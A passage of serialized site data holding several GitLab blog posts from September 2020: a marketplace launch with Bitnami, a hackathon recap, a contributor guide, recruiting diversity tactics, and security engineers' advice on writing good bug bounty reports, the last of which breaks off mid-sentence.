\"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to easily launch GitLab through cloud marketplaces\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Miranda Carter\"},{\"@type\":\"Person\",\"name\":\"Vick Kelkar\"}],\n        \"datePublished\": \"2020-09-30\",\n      }",{"title":21580,"description":21581,"authors":21586,"heroImage":21582,"date":21550,"body":21588,"category":736,"tags":21589},[21587,12075],"Miranda Carter","\n\nToday almost every enterprise in the world moved at least some of its mission-critical workloads into public cloud environments, making it increasingly important that customers can easily deploy and manage their software in any cloud. All of the major cloud vendors have introduced marketplaces where customers can quickly deploy applications into their cloud computing infrastructure.\n\n[Bitnami](https://bitnami.com/), now part of VMware, has long partnered with the leading cloud vendors to provide a library of open source software in their marketplaces that is always up-to-date, packaged using best practices, and completely free to end users. Bitnami and GitLab worked together for years on publishing [GitLab Community Edition (CE)](/install/?version=ce) as part of this library.\n\n### The Bitnami and GitLab partnership advantage\n\nGitLab CE provides value to millions of organizations and community contributors, and this has only been enhanced by our partnership with Bitnami. By taking the GitLab CE open [source code](/solutions/source-code-management/) and packaging it in a way that is always up-to-date and easy to use out-of-the-box on almost any cloud platform, Bitnami has helped make GitLab CE accessible to hundreds of thousands of users.\n\nThe GitLab team is working with Bitnami to eliminate the complexity of packaging our enterprise application for multiple cloud marketplaces, in the same way they do for GitLab CE. This partnership enables the various marketplaces to receive timely updates of the GitLab Enterprise Edition (EE) software packages whenever there is a security issue or dependency update.\n\n### GitLab Enterprise Edition packaged by Bitnami is available on Microsoft Azure marketplace\n\nToday, we are pleased to announce that our partnership with Bitnami has helped make [GitLab EE](/install/) available in the [Microsoft Azure marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/gitlabinc1586447921813.gitlabee?tab=Overview). GitLab EE customers will be able to seamlessly deploy and use the application in these environments thanks to Bitnami’s expertise in packaging and publishing software for the public cloud.\n\nExisting customers can bring their licenses and apply them to GitLab EE in any of these environments. GitLab EE is also published by Bitnami in the VMware Cloud marketplace.\n\n### Software support for marketplace packages\n\nCustomers who deploy GitLab EE packaged by Bitnami will enjoy the same enterprise-level support that GitLab customers receive in any other supported environment. Customers who have deployed GitLab software into the cloud infrastructure already through the cloud marketplace must follow the normal GitLab software upgrade process to address any critical issues and vulnerabilities.\n\n### About the authors\n\n_[Vick Kelkar](/company/team/#vkelkar) is on Alliances team at GitLab. He has experience developing and running products for container orchestrators like Cloud Foundry and Kubernetes._\n\n_Miranda Carter has been part of the Bitnami team for over six years, and came to VMware as part of the VMware acquisition last year. Miranda is now a Program Manager at VMware and focuses on supporting Tanzu Application Catalog and supporting ISVs whenever possible._\n",[1899,110,4103,232],{"slug":21591,"featured":6,"template":678},"how-to-easily-launch-gitlab-through-cloud-marketplaces","content:en-us:blog:how-to-easily-launch-gitlab-through-cloud-marketplaces.yml","How To Easily Launch Gitlab Through Cloud Marketplaces","en-us/blog/how-to-easily-launch-gitlab-through-cloud-marketplaces.yml","en-us/blog/how-to-easily-launch-gitlab-through-cloud-marketplaces",{"_path":21597,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21598,"content":21604,"config":21608,"_id":21610,"_type":16,"title":21611,"_source":17,"_file":21612,"_stem":21613,"_extension":20},"/en-us/blog/leading-scm-ci-and-code-review-in-one-application",{"title":21599,"description":21600,"ogTitle":21599,"ogDescription":21600,"noIndex":6,"ogImage":21601,"ogUrl":21602,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21602,"schema":21603},"Leading SCM, CI and Code Review in one application","The most important tools for developers are SCM, CI and Code Review, and it is better to have them all together.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679607/Blog/Hero%20Images/scm-ci-cr.png","https://about.gitlab.com/blog/leading-scm-ci-and-code-review-in-one-application","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Leading SCM, CI and Code Review in one application\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2020-09-30\",\n      }",{"title":21599,"description":21600,"authors":21605,"heroImage":21601,"date":21550,"body":21606,"category":18484,"tags":21607},[691],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nGitLab enables streamlined CI, code reviews and collaboration at proven enterprise scale, making development workflows easier to manage and minimizing context switching required between tools in complex DevOps toolchains. Users can release software faster and outpace the competition with the ability to quickly respond to changes in the market.\n\nWatch this short video (3 minutes) to see a demo of the seamless flow developers having when using SCM, CI and Code Review in GitLab.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/DvuqGA4FhXM\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n\nCover image by [NESA by Makers](https://unsplash.com/@nesabymakers) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[110,1207],{"slug":21609,"featured":6,"template":678},"leading-scm-ci-and-code-review-in-one-application","content:en-us:blog:leading-scm-ci-and-code-review-in-one-application.yml","Leading Scm Ci And Code Review In One Application","en-us/blog/leading-scm-ci-and-code-review-in-one-application.yml","en-us/blog/leading-scm-ci-and-code-review-in-one-application",{"_path":21615,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21616,"content":21621,"config":21626,"_id":21628,"_type":16,"title":21629,"_source":17,"_file":21630,"_stem":21631,"_extension":20},"/en-us/blog/q3-hackathon-recap",{"title":21617,"description":21618,"ogTitle":21617,"ogDescription":21618,"noIndex":6,"ogImage":19778,"ogUrl":21619,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21619,"schema":21620},"What went down at the Q3'2020 GitLab Hackathon","A recap of community's accomplishments during another record-setting Hackathon on September 2-3.","https://about.gitlab.com/blog/q3-hackathon-recap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What went down at the Q3'2020 GitLab Hackathon\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2020-09-30\",\n      }",{"title":21617,"description":21618,"authors":21622,"heroImage":19778,"date":21550,"body":21624,"category":299,"tags":21625},[21623],"Ray Paik","\n{::options parse_block_html=\"true\" /}\n\nThe GitLab community gathered on September 2-3 for the Q3 Hackathon and once again the GitLab Community set an impressive Hackathon record with [313 MRs](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/hackathon/-/issues/41) submitted!\n\n## What did we accomplish?\n\nThis opening line almost needs to be a place holder for Hackathon recaps, but the GitLab community is setting new heights with each iteration. I love seeing the chart below that shows an impressive growth in wider community contributions especially over the past 4 Hackathons. \n![hackathon chart](https://about.gitlab.com/images/blogimages/hackathon-blogpost/q3-2020-hackathon-stats.png){: .shadow.medium.center}\n\nOnce again, there were a lot of frontend/UX related epics that wider community members contributed to. A good example was for migration of [Pajamas](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com) components and the Hackathon helped chip away at more than 1,000 issues related to this migration. One of the feedback from the previous Hackathon was to also have a plenty of backend-related issues for the Hackathon, and I want to thank many GitLab team members who helped populate the list of [suggested Hackathon issues](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/hackathon/-/issues/41#suggested-epicsissues-for-the-hackathon) with backend items. \n\nI believe we had the most number of office hour/tutorial sessions during this Hackathon and it's great to see 100+ views of many of these sessions within 24 hours of the recordings being posted on [the Hackathon playlist](https://www.youtube.com/playlist?list=PLFGfElNsQthapq-CyXBTVnT2yKqg1JrNh). If you're interested in making a further dent in 1,000+ issues related to Pajamas components migration, you should watch the [Pajamas tutorial session](https://www.youtube.com/watch?v=cbZADXJh8fg&list=PLFGfElNsQthapq-CyXBTVnT2yKqg1JrNh&index=5&t=1s). You will see that it only takes 5-10 minutes to submit an MR for these issues.\n\n## Hackathon prizes\n\nFor this Hackathon, we have a laptop sleeve for everyone who had their MRs merged by September 15th and [30 people](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/hackathon/-/issues/42) will be receiving the prize celebrating the 2nd anniversary of the Hackathon. As we did in the past several quarters, we have a prize for second place and want to recorgnize [Gilang Gumilar](https://gitlab.com/gilangmlr), [Kev](https://gitlab.com/KevSlashNull), and [Takuya Noguchi](https://gitlab.com/tnir) who all had more than 20 MRs  merged. For the grand prize, I want to award two contributors [Rajendra Kadam](https://gitlab.com/raju249) with 54 MRs  [Jonston Chan](https://gitlab.com/JonstonChan) with 45 MRs merged! Thanks and congratulatations to everyone!\n\n![Hackathon prizes](https://about.gitlab.com/images/blogimages/hackathon-blogpost/q3-2020-hackathon-prizes.png){: .shadow.medium.center}\n## When is the next Hackathon?\n\nThe next Hackathon will take place on December 2-3, 2020. It is already advertised on [the Hackathon page](/community/hackathon/) with a new countdown clock. Please look out for more announcements as we get closer to the next Hackathon date. Also, if you have any suggestions for the Q4 Hackathon please feel free to suggest them on [the GitLab Contributors Gitter](https://gitter.im/gitlabhq/contributors).\n\n## Community challenge\n\nYou may have noticed when you scroll through the Hackathon page that we have a new prize under the [Missed the last Hackathon?](https://about.gitlab.com/community/hackathon/#community-challenge) section. GitLab team members added the `Community challenge` label to a number [issues](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=Community%20challenge) that we want to encourage the wider community to work on. If you submit an MR for these issues and they get merged, you will receive a custom merchadise with the \"Community challenge achieved\" message. If you love coffee or tea, I think you will enjoy this cannister for your coffee beans or tea leaves. \n\n## How do I get started with contributing?\n\nA good place to start is the [Contributing to GitLab page](/community/contribute/), where you can learn how you can\ncontribute to GitLab code, documentation, translation, UX design, and **project templates**. The [project templates](https://docs.gitlab.com/ee/development/project_templates.html) help developers get started with new languages and frameworks on GitLab. You can improve [existing built-in project templates](https://docs.gitlab.com/ee/user/project/working_with_projects.html#built-in-templates) or start a new template to be distributed with GitLab.\n",[267,2368,815],{"slug":21627,"featured":6,"template":678},"q3-hackathon-recap","content:en-us:blog:q3-hackathon-recap.yml","Q3 Hackathon Recap","en-us/blog/q3-hackathon-recap.yml","en-us/blog/q3-hackathon-recap",{"_path":21633,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21634,"content":21640,"config":21645,"_id":21647,"_type":16,"title":21648,"_source":17,"_file":21649,"_stem":21650,"_extension":20},"/en-us/blog/start-contributing-to-gitlab-today",{"title":21635,"description":21636,"ogTitle":21635,"ogDescription":21636,"noIndex":6,"ogImage":21637,"ogUrl":21638,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21638,"schema":21639},"Start contributing to GitLab today","Learn how to start contributing to GitLab and how GitLab team members are here to help.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676361/Blog/Hero%20Images/collaboration.jpg","https://about.gitlab.com/blog/start-contributing-to-gitlab-today","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Start contributing to GitLab today\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rémy Coutable\"}],\n        \"datePublished\": \"2020-09-30\",\n      }",{"title":21635,"description":21636,"authors":21641,"heroImage":21637,"date":21550,"body":21643,"category":18484,"tags":21644},[21642],"Rémy Coutable","\n{::options parse_block_html=\"true\" /}\n\nAt GitLab, [everyone can contribute](https://about.gitlab.com/company/mission/#mission). This has been our mission from day\none, since GitLab started as --and is still-- an open-source project.\n\nWe believe that, when consumers become contributors, it benefits everyone: GitLab the product, GitLab the company, GitLab the community\nas well as all GitLab users all around the world.\n\nWe already merged more than 7,700 [“community contribution”](https://gitlab.com/groups/gitlab-org/-/merge_requests?label_name%5B%5D=Community+contribution&state=merged) merge requests from our wider community (at the `gitlab-org` group level).\n\n![Screenshot showing more than 7,700 merged community MRs](https://about.gitlab.com/images/blogimages/2020-09-30-community-contributions.png){: .shadow.medium.center}\n*\u003Csmall>Merge requests from community members not employed by GitLab (aka from the GitLab wider community)\u003C/small>*\n\n## Contributing tracks\n\nNow, it's your turn to contribute and improve GitLab! Since not everyone share the same interests nor competencies, we\nhave multiple tracks to ensure everyone can contribute:\n\n- [Development (new features, bug fixes, performance improvements)](/community/contribute/development/)\n- [Documentation addition, improvements, and fixes](/community/contribute/documentation/)\n- [Translations](/community/contribute/translation/)\n- [UX design](https://about.gitlab.com/community/contribute/ux-design/)\n- [Project templates](/community/contribute/project-templates/)\n\nWhen you're ready, simply choose the track for you and follow the instructions.\n\n## Start small...\n\nTo get familiar with the merge request workflow, I advise you start small.\n[Fixing a typo](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/42447) or\n[adding a comma](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/43021) in the documentation are small yet awesome\ncontributions that are usually merged in a matter of hours. These are awesome to gear up and get the ball rolling.\n\nFor more examples, be sure to take a look at the [community merge requests that touched GitLab documentation](https://gitlab.com/gitlab-org/gitlab/-/merge_requests?state=merged&label_name[]=documentation&label_name[]=Community%20contribution).\n\nThese kind of changes don't require a lot of time from you, but if you have more time and are ready to tackle bigger challenges,\nyou can start looking for [bugs](https://gitlab.com/gitlab-org/gitlab/-/issues?label_name%5B%5D=Accepting+merge+requests&label_name[]=type::bug&scope=all&sort=popularity&state=opened)\nor [feature proposals](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=Accepting%20merge%20requests&label_name[]=feature).\n\n## ...and end up MVP\n\nEvery contribution is a collaborative effort between the merge request author, the reviewer(s), potentially MR coaches, and the maintainer (who gets to merge the MR).\n\nSome contributions are so complex and technical that they take months of collaboration to get accross the finish line!\n\nLet's give you a few examples of great collaborative efforts that happened in the last 12 months:\n\n1. [Cédric Tabin](https://gitlab.com/ctabin) worked for more than 9 months contributing\n   [a new CI job keyword allowing interruptible builds](/releases/2019/09/22/gitlab-12-3-released/#interruptible-keyword-to-indicate-if-a-job-can-be-safely-canceled)\n   and working with the GitLab teams to get it across the line. The [merge request](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/23464) involved 51 people, who posted 405 discussion notes!\n   This contribution was released in GitLab 12.3, and allows to save a lot of money by avoiding running redundant pipelines.\n1. [Tuomo Ala-Vannesluoma](https://gitlab.com/tuomoa) worked for 7 months adding support for\n   [previewing artifacts that are not public](/releases/2019/10/22/gitlab-12-4-released/#private-project-support-for-online-view-of-html-artifacts), a highly requested feature with almost 300 upvotes!\n   The [merge request](https://gitlab.com/gitlab-org/gitlab-pages/-/merge_requests/134) landed in GitLab 12.4, and received two 🍾 emoji votes.\n1. [Roger Meier](https://gitlab.com/bufferoverflow) worked for more than 4 months contributing\n   [support for S/MIME Signature Verification of Commits](/releases/2020/02/22/gitlab-12-8-released/#smime-signature-verification-of-commits), an important feature for sensitive projects and in regulated industries.\n   Roger's teammate, [Henning Schild](https://gitlab.com/henning-schild), contributed the change upstream to Git and Roger made the change in GitLab.\n   The [merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/17773) involved 42 people, who posted 430 discussion notes, and landed in GitLab 12.8.\n1. [Steve Exley](https://gitlab.com/steve.exley) worked for more than 5 months contributing one of\n   [the biggest architectural changes to the Docker executor](/releases/2020/03/22/gitlab-12-9-released/#gitlab-runner-129).\n   that solved multiple issues for the Docker executor, including [jobs sharing the same network bridge](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4430),\n   [services don't work when `network_mode` is specified](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2699),\n   and lastly, services can connect to one another and connect with the build container as well!\n   The [merge request](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1569) involved 69 people, who posted 293 discussion notes. It landed in GitLab 12.9, and received five 🔥 emoji votes.\n1. [Jesse Hall](https://gitlab.com/jessehall3) worked for more than 5 months contributing one of\n   [the Batch Suggestions feature](/releases/2020/07/22/gitlab-13-2-released/#batch-suggestions) which allows MR reviewers to group all suggestions made to a diff and submit them at once.\n   Because each suggestion translates into a Git operation, submitting these individually could take a long time if there were a large number of suggestions. Submitting suggestions in batches has numerous advantages, including time savings, efficient CI resource utilization (only one pipeline for all suggestions), and preventing an overly noisy Git history.\n   The [merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22439) involved 38 people, who posted 358 discussion notes. It landed in GitLab 13.2, and received seven 💚 emoji votes.\n\n## Get some help from the GitLab team\n\nIf you need any help while contributing to GitLab, below are some of the resources that are available.\n\n1. Ask questions on the [Contributors Gitter Channel](https://gitter.im/gitlabhq/contributors).\n1. Get in touch with [Merge Request Coaches](https://handbook.gitlab.com/job-families/expert/merge-request-coach/). To find a merge request coach, go to the GitLab Team Page and search for \"Merge Request Coach\".\n   You can also mention Merge Request Coaches by typing `@gitlab-org/coaches` in a comment.\n1. Find reviewers & maintainers of Gitlab projects in our [handbook](/handbook/engineering/projects/#gitlab) and [mention](https://docs.gitlab.com/ee/user/group/subgroups/#mentioning-subgroups) them in a comment.\n1. If you have feature ideas/questions, you can search for existing issues or create a new issue if there isn't one already. Feel free to [mention](https://docs.gitlab.com/ee/user/group/subgroups/#mentioning-subgroups) [product team members](/handbook/product/categories/) in the issue.\n\nWait for a reviewer. You’ll likely need to change some things once the reviewer has completed a code review for your merge request.\nYou may also need multiple reviews depending on the size of the change.\nIf you don't hear from anyone in a timely manner, feel free to find reviewers or reach out to Merge Request Coaches.\nPlease don't be shy about [mentioning](https://docs.gitlab.com/ee/user/project/issues/index.html)\nGitLab team members in your merge requests as all team members are expected to be responsive to fellow community members.\n\n## How we stay on top of community contributions\n\nIn Q3 of 2020, several GitLab teams are focusing on improving the experience for community contributors. To achieve this goal,\nwe created a few metrics around community contributions:\n\n* [Community Contribution Mean Time to Merge](/handbook/engineering/quality/performance-indicators/#community-contribution-mean-time-to-merge)\n* [Unique Community Contributors per Month](/handbook/engineering/quality/performance-indicators/#unique-community-contributors-per-month)\n* [Community MR Coaches per Month](/handbook/engineering/quality/performance-indicators/#community-mr-coaches-per-month)\n\nTo make sure the GitLab team is working hand in hand with the wider community in a timely fashion, we've already put a few automations in place:\n\n1. Every hour, wider community contributions are automatically [labelled \"Community contribution\"](/handbook/engineering/quality/triage-operations/#community-contributions).\n1. Every day, a report with the [untriaged](/handbook/engineering/quality/merge-request-triage/) community merge requests is created and assigned to the Merge Request Coaches for triage. This ensures each merge request has a [stage and group](/handbook/product/categories/#hierarchy) labels set.\n1. Every two weeks, a report with unassigned and idle community contributions is created for each [group](/handbook/product/categories/#hierarchy).\n\nThese automations are powered by our [`triage-ops` project](https://gitlab.com/gitlab-org/quality/triage-ops/) and are documented in [Triage Operations](/handbook/engineering/quality/triage-operations/).\n\nI hope this post convinced you to start contributing to GitLab. Keep in mind, any contribution is valuable, and don't worry, we're here to support you.\n\nCover image: [\"Żuki leśne na liściu jesienią\"](https://unsplash.com/photos/5S2xIoNpcGk) by [Krzysztof Niewolny](https://unsplash.com/@epan5).\n{: .note}\n",[2368,267,2704,676,815],{"slug":21646,"featured":6,"template":678},"start-contributing-to-gitlab-today","content:en-us:blog:start-contributing-to-gitlab-today.yml","Start Contributing To Gitlab Today","en-us/blog/start-contributing-to-gitlab-today.yml","en-us/blog/start-contributing-to-gitlab-today",{"_path":21652,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21653,"content":21658,"config":21664,"_id":21666,"_type":16,"title":21667,"_source":17,"_file":21668,"_stem":21669,"_extension":20},"/en-us/blog/recruiting-tactics-and-strategies-to-build-a-more-diverse-team",{"title":21654,"description":21655,"ogTitle":21654,"ogDescription":21655,"noIndex":6,"ogImage":18477,"ogUrl":21656,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21656,"schema":21657},"recruiting tactics and strategies to build a more diverse team","An overview of the Diversity, Inclusion, and Belonging-related tactics and strategies our recruiting team is experimenting with","https://about.gitlab.com/blog/recruiting-tactics-and-strategies-to-build-a-more-diverse-team","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"recruiting tactics and strategies to build a more diverse team\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rupert Douglas\"}],\n        \"datePublished\": \"2020-09-28\",\n      }",{"title":21654,"description":21655,"authors":21659,"heroImage":18477,"date":21661,"body":21662,"category":6634,"tags":21663},[21660],"Rupert Douglas","2020-09-28","\nAt GitLab, [one of our objectives and key results (OKRs)](/company/okrs/fy21-q3/#3-ceo-great-team) for Q3 is for more than 95% of our recruiting outreach to be directed at candidates who identify with an underrepresented group.\n\nAs recruiters and hiring managers know, outreach is only one part of the recruiting puzzle. If we’re going to build a more diverse team, we need to ensure our entire hiring process sets each and every candidate up for success.\n\nIn the spirit of transparency and iteration, we’d like to share a few tactics our recruiting team is experimenting with across different parts of the hiring process. Each tactic aims to increase the diversity of the team and ensure candidates feel like they belong at GitLab.\n\n### [Outbound only](/handbook/hiring/candidate/faq/)\n\nThe first and most important step we took was adopting an outbound-only recruiting model. With this model, we’re able to focus our recruiting team’s time on sourcing candidates who will both add to our team’s diversity and raise the bar once they’re on board.\n\nWe saw an average of 40,000 applications per month with our previous inbound model, and 99% of these applicants were rejected. Many hours were lost reviewing unqualified candidates and imbalances of representation in our funnel made it difficult to add to the team’s diversity.\n\nWe’ve been utilizing this outbound-only model since March 2020 and we’ve already seen a positive impact. Two stand-out examples come from August. We saw 60% of Sales candidates identity as non-male and 28% of Engineering candidates identify as Black. We’re encouraged by the signals we’re seeing so far and the outbound approach is here to stay.\n\n### [Inclusive language review for our job families](https://gitlab.com/gitlab-com/people-group/peopleops-eng/people-operations-engineering/-/issues/72)\n\nMoving to an outbound-only approach meant we no longer needed our traditional job adverts. It also gave us an opportunity to iterate on our job family pages. At GitLab, job families simply outlined a role’s responsibilities. Now, we’ve repurposed those pages to be more of a marketing tool for the role and work at GitLab.\n\nOne of our top priorities in iterating on these job family pages was to improve the inclusivity of the language we use. We’re incredibly fortunate to have our People Ops Engineer, [Lien](https://gitlab.com/gitlab-com/people-group/peopleops-eng/people-operations-engineering/-/issues/72), who built a tool to help us do this.\n\n[Using GitLab CI](https://gitlab.com/gitlab-com/people-group/peopleops-eng/people-operations-engineering/-/issues/72) (our Continuous Integration tool), each job family was assessed for its use of gendered language, misused words, and bias towards growth-mindset rather than fixed-mindset terms. The results were published in a YML file that gave us a starting point to improve upon.\n\nUtilizing the CLI and [UI version of the inclusive check tool](https://inclusiveness-check.herokuapp.com/) (that you can use, too!), we’ve made incremental improvements to the language we use to describe our roles. The tool also allows us to notify our team members if they’re proposing a change that will have a negative impact on the language used. It’s a win/win.\n\n### [Dedicated time to source candidates from underrepresented groups](/company/culture/inclusion/talent-acquisition-initiatives/)\n\nWe also spend time collaborating together to source candidates for our four highest priority roles as part of our Sourcing for Underrepresented Groups (SURG) initiative.\n\nThe SURG initiative increases the understanding of priority positions, enables team members to source candidates from underrepresented groups for functions they usually do not contribute to, and creates opportunities for recruiting team members to collaborate outside of the usual Recruiter: Sourcer partnership. On average we contact 100 prospective candidates from underrepresented groups each month through the initiative.\n\nWe’ve made some incredible hires and, selfishly, I’ve loved collaborating with different team members, too.\n\n### [Utilizing team member feedback to improve messaging response rates](/company/culture/inclusion/talent-acquisition-initiatives/)\n\nWhen sourcing for a Software Engineer in Test position, we noticed our response rates were lower than we’d expect.\n\nWe decided to gather feedback on four different messaging styles, assembled the different options into a GitLab issue, and shared the options in our #women and #diversity\n_inclusion_and_belonging Slack channels.\n\nThe feedback was clear: The original messaging received a resounding rebuff from the women on our team.\n\nThe themes and insights from this feedback outlined the importance of emphasizing our approach to asynchronous work as this enables our team members to balance work and personal lives.\n\nIt was also made clear we needed to make the prospective candidate feel something. The original messaging failed to do this. Fortunately, our values, culture, product, and professional growth opportunities provided a foundation for us to do this.\n\nThe good news? We saw response rates rise to 50% after incorporating this feedback.\n\n### [TMRG conversation at end of the hiring process](/company/culture/inclusion/talent-acquisition-initiatives/)\n\nAny candidate nearing the end of the recruiting process is offered a call with a team member outside of the interview panel who is part of a Team Member Resource Group (TMRG).\n\nWe recently brought in this change. There are two primary goals. The first is to provide the candidate with a unique perspective on GitLab that interview processes may not offer. We also hope these conversations can foster a relationship with someone on the team prior to them even signing a contract with us. We can’t thank the TMRG members enough for their willingness to take part in these conversations!\n\n### An environment where everyone can thrive!\n\nWe’ve been able to deliver and iterate on these tactics because of the leadership of our Diversity Inclusion and Belonging Manager, [Candace](https://gitlab.com/cwilliams3), the commitment from so many team members who ensure this is an [environment where everyone can thrive](https://handbook.gitlab.com/handbook/values/#diversity-inclusion), and our values of collaboration and iteration.\n\nI’m excited to see the impact our recruiting team can have in playing a part in our wider [Diversity, Inclusion, and Belonging strategy](/company/culture/inclusion/) while we all look forward to making the GitLab team even closer to a full representation of society.\n",[7715],{"slug":21665,"featured":6,"template":678},"recruiting-tactics-and-strategies-to-build-a-more-diverse-team","content:en-us:blog:recruiting-tactics-and-strategies-to-build-a-more-diverse-team.yml","Recruiting Tactics And Strategies To Build A More Diverse Team","en-us/blog/recruiting-tactics-and-strategies-to-build-a-more-diverse-team.yml","en-us/blog/recruiting-tactics-and-strategies-to-build-a-more-diverse-team",{"_path":21671,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21672,"content":21678,"config":21682,"_id":21684,"_type":16,"title":21685,"_source":17,"_file":21686,"_stem":21687,"_extension":20},"/en-us/blog/top-tips-for-better-bug-bounty-reports-and-a-hacker-contest",{"title":21673,"description":21674,"ogTitle":21673,"ogDescription":21674,"noIndex":6,"ogImage":21675,"ogUrl":21676,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21676,"schema":21677},"Our top tips for better bug bounty reports, plus a hacker contest!","Our AppSec team breaks down what makes a great bug bounty report. That advice comes just in time, as we're having another bug bounty contest.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671004/Blog/Hero%20Images/pexels-shawn-stutzman-1010496.jpg","https://about.gitlab.com/blog/top-tips-for-better-bug-bounty-reports-and-a-hacker-contest","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Our top tips for better bug bounty reports, plus a hacker contest!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2020-09-28\",\n      }",{"title":21673,"description":21674,"authors":21679,"heroImage":21675,"date":21661,"body":21680,"category":674,"tags":21681},[12307],"\n\nWe recently wrote an article with tips on [how to build and run a successful bug bounty program](https://thenewstack.io/gitlabs-top-5-tips-for-running-a-bug-bounty-program/) in the hopes that the processes and practices we’ve built would help other organizations go from zero to sixty as quickly as possible.\n\nBut, the truth is, a bug bounty program will be a non-starter if you can't attract talented security hackers to join you. \n\nThe reporters in our program bring an immense depth and breadth of expertise and research, represented in the unique and innovative findings they deliver and the thoughtful reports they submit. \n\n🎉 **For these reasons and more, we’re excited to announce that we’re once again holding a community hacking contest! See more details below and we look forward to your contributions!** 🚀\n\nBut when we think about the reports that researchers submit to our program, questions come up. What makes a report stand out, makes it helpful, makes it...for lack of a better word...good? We asked two of our [Application Security](/topics/devsecops/) engineers, who work to triage, investigate and test within our bug bounty program, for their frank thoughts on bug bounty reports.\n\n## What makes for a better bug bounty report?\n\n---\n![Vitor Meireles De Sousa Headshot](https://about.gitlab.com/images/blogimages/vdesousa_bw_sm.png){: .small.left.wrap-text}\n### [Vitor Meireles De Sousa, senior security engineer, application security team](/company/team/#vdesousa)\n\n\nWe often see reports with an incomplete description of the initial setup, or ones missing the step-by-step instructions necessary to reproduce it. This often leads to multiple, potentially unnecessary, time-consuming exchanges with a reporter or our AppSec team exploring different settings attempting to reproduce the report (or trying to get as close as possible to reproducing it.) Screenshots or videos are a great way to document the issue and can help avoid situations like this.\n\nIn my mind, a good report is a combination of the following:\n\n* A thorough description of the configuration used and a detailed step-by-step to reproduce the issue – this significantly helps us in triaging the report as fast as possible with a minimum of questions regarding the requirements and how to exploit the vulnerability.\n* A properly rated severity and impact analysis – when triaging reports, we typically use the severity rating to prioritize one report over another. Frequently we see reports that are overrated in severity. I think it is really important to understand how our team applies severity. Becoming familiar with our [HackerOne policy](https://hackerone.com/gitlab) and particularly the ‘How severity is determined’ section can help reporters provide an accurate impact analysis and by extension, appropriate severity ratings.\n\n### What’s an example of a report that exemplifies these criteria?\n\nThis report, [“Injection of `http.\u003Curl>.*` git config settings leading to SSRF”](https://hackerone.com/reports/855276) from security researcher, [vakzz](https://hackerone.com/vakzz) has:\n\n* A comprehensive description of the issue\n* A detailed step-by-step with precise instructions on how to reproduce it\n* A clear impact analysis that justifies the severity of the report  \n\n**And remember, it doesn’t need to be a long report to be a good one.**\n\n---\n![Dominic Couture Headshot](https://about.gitlab.com/images/blogimages/dcouture_bw_sm.png){: .small.left.wrap-text}\n### [Dominic Couture, Senior Security Engineer, application security team](https://about.gitlab.com/company/team/#dcouture)\n\n\nI like to see the following things in a report:\n\n* A detailed description of how the vulnerability is triggered\n* Information outlining what happens when it is triggered –this helps us know if we’ve reproduced it correctly\n* Simple steps to reproduce the vulnerability\n* A description of the impact of the vulnerability\n\nTo take it a few steps forward, here’s what makes a *great* report:\n\n* Details about the specific code causing the vulnerability\n* Scripted (Bash, Ruby, etc.) reproduction steps if it makes sense for that bug\n* For complex bugs, a video can aid understanding, but this should not replace the written steps to reproduce\n\nI would also like to note that a vulnerability report is not like a write-up that you’d post on your blog. Including details about anything that isn’t directly related to the vulnerability itself are great for a “story” about how you found the bug, but they add noise to the report and should be left out (and saved for that blog post).\n\n### What’s an example of a report that exemplifies these criteria?\n\nThis report: [SSRF on project import via the remote_attachment_url on a Note](https://hackerone.com/reports/826361) (and really all reports by vakzz mentioned above) ticks all the boxes above and falls firmly in the great report category. Additionally, there’s good communication from the reporter throughout the process and that’s the optimal triage experience for us.\n\n## Celebrating great reports, and great reporters\n\nWe had so much fun 